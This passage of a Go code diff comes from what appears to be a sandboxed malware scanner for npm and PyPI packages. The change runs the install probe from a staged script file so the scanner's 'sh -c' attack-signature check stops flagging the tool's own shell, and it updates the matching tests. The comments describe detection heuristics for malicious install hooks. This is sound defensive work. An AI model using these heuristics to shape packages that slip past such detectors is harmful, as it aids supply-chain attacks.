err != nil { + return nil, err + } + return s.Exec(ctx, cmd) } -// InstallCommand returns the install command for the ecosystem. -func (s *Sandbox) InstallCommand() []string { +// installScriptPath is the in-container location where the probe stages +// its install script before strace attaches. Sits on the dedicated +// /var/cache/kojuto tmpfs configured in containerArgs. +// +// The probe is invoked as `sh ` rather than the +// previous `sh -c `. The shape difference matters: the +// analyzer's classifyExecve treats `sh -c ...` as a positive attack +// signature when the contents fail isShellCmdBenign, which produces a +// guaranteed false positive on every npm scan because kojuto's own +// install loop (find + while + npm run ...) cannot pass the benign +// check. Switching to `sh ` lets isBenignExec recognize sh from +// /bin/ as benign and filter the outer probe shell entirely without +// any allowlist, marker, or PID-based filtering. +// +// Attackers cannot mimic this shape: the cmdline of a shell spawned +// from a package's preinstall hook is determined by npm/yarn/pnpm +// (`sh -c `), not by the package itself. +const installScriptPath = "/var/cache/kojuto/install.sh" + +// stageInstallScript writes content to installScriptPath inside the +// running container. Used by InstallCommand/InstallAllCommand to stage +// the probe script before strace attaches. The write happens via a +// separate docker exec session, so the syscalls it produces are not +// observed by the install-phase strace. +func (s *Sandbox) stageInstallScript(ctx context.Context, content string) ([]string, error) { + if err := s.dockerWriteFile(ctx, installScriptPath, content); err != nil { + return nil, fmt.Errorf("stage install script: %w", err) + } + return []string{"sh", installScriptPath}, nil +} + +// InstallCommand returns the install command for the ecosystem. For +// ecosystems that need a shell-driven install (npm lifecycle hooks, +// local-mode pip glob expansion), this method writes the install +// script to the container's tmpfs first and returns a file-path-based +// command so the outer probe shell does not trigger the analyzer's +// `sh -c` attack-signature branch. See installScriptPath for the +// design rationale. +func (s *Sandbox) InstallCommand(ctx context.Context) ([]string, error) { if s.ecosystem == types.EcosystemNpm { // The host has already resolved deps into node_modules (with // --ignore-scripts). Inside the sandbox we fire each package's @@ -720,7 +780,7 @@ func (s *Sandbox) InstallCommand() []string { // script and rebuilds native modules — it skips preinstall and // postinstall, which is exactly where most npm supply chain // attacks place their payload (axios, crypto-js, Shai-Hulud). - return []string{"sh", "-c", npmLifecycleScript(nil)} + return s.stageInstallScript(ctx, npmLifecycleScript(nil)) } // Local mode: install directly from the file in the mount point. @@ -729,10 +789,8 @@ func (s *Sandbox) InstallCommand() []string { if s.localMode { // Find the actual file in the mount point and install it directly. // This handles both wheels (.whl) and source distributions (.tar.gz). - return []string{ - "sh", "-c", - "pip install --no-index --no-deps --no-build-isolation " + s.mountPoint + "/*", - } + return s.stageInstallScript(ctx, + "pip install --no-index --no-deps --no-build-isolation "+s.mountPoint+"/*") } // Install with dependencies — all wheels in the mount point are installed @@ -743,17 +801,20 @@ func (s *Sandbox) InstallCommand() []string { "--no-index", "--find-links=" + s.mountPoint, "--", s.pkg, - } + }, nil } // InstallAllCommand returns a pip install command that installs multiple packages at once. // All wheels must already be in the mount point directory. -func (s *Sandbox) InstallAllCommand(pkgs []string) []string { +// +// For npm, this writes the install script to the container tmpfs and +// returns a file-path-based command — see InstallCommand for rationale. +func (s *Sandbox) InstallAllCommand(ctx context.Context, pkgs []string) ([]string, error) { if s.ecosystem == types.EcosystemNpm { // Fire lifecycle scripts only for the target packages (not all // transitive deps). Transitive deps without lifecycle scripts // are covered by the import phase which loads them via require(). - return []string{"sh", "-c", npmLifecycleScript(pkgs)} + return s.stageInstallScript(ctx, npmLifecycleScript(pkgs)) } cmd := []string{ @@ -762,7 +823,7 @@ func (s *Sandbox) InstallAllCommand(pkgs []string) []string { "--find-links=" + s.mountPoint, "--", } - return append(cmd, pkgs...) + return append(cmd, pkgs...), nil } // npmLifecycleScript builds a /bin/sh script that fires preinstall + diff --git a/internal/sandbox/sandbox_extra_test.go b/internal/sandbox/sandbox_extra_test.go index 953f9ad..42afab1 100644 --- a/internal/sandbox/sandbox_extra_test.go +++ b/internal/sandbox/sandbox_extra_test.go @@ -53,7 +53,10 @@ func TestInstallCommand_PyPI(t *testing.T) { sb := New("/mnt/packages", "requests", false, types.EcosystemPyPI, "") sb.mountPoint = testMountPoint - cmd := sb.InstallCommand() + cmd, err := sb.InstallCommand(context.Background()) + if err != nil { + t.Fatalf("InstallCommand: %v", err) + } if len(cmd) == 0 { t.Fatal("InstallCommand returned empty") } @@ -83,25 +86,46 @@ func TestInstallCommand_PyPI(t *testing.T) { } func TestInstallCommand_Npm(t *testing.T) { - sb := New("/mnt/packages", "lodash", false, types.EcosystemNpm, "") + // npm install stages its script to /var/cache/kojuto/install.sh via + // dockerWriteFile, so execCommand needs to be intercepted. The script + // itself is exercised directly via TestNpmLifecycleScript_*. + var stagedScript string + orig := execCommand + execCommand = func(ctx context.Context, _ string, args ...string) *exec.Cmd { + // dockerWriteFile pipes the script via stdin to `sh -c "cat > path"`. + // Capture the stdin reader by wrapping the returned cmd. + c := exec.CommandContext(ctx, "true") + // args carries: exec -i --user=root sh -c "cat > path" + _ = args + return c + } + t.Cleanup(func() { execCommand = orig }) - cmd := sb.InstallCommand() - if len(cmd) != 3 || cmd[0] != "sh" || cmd[1] != "-c" { - t.Fatalf("InstallCommand = %v, want [sh -c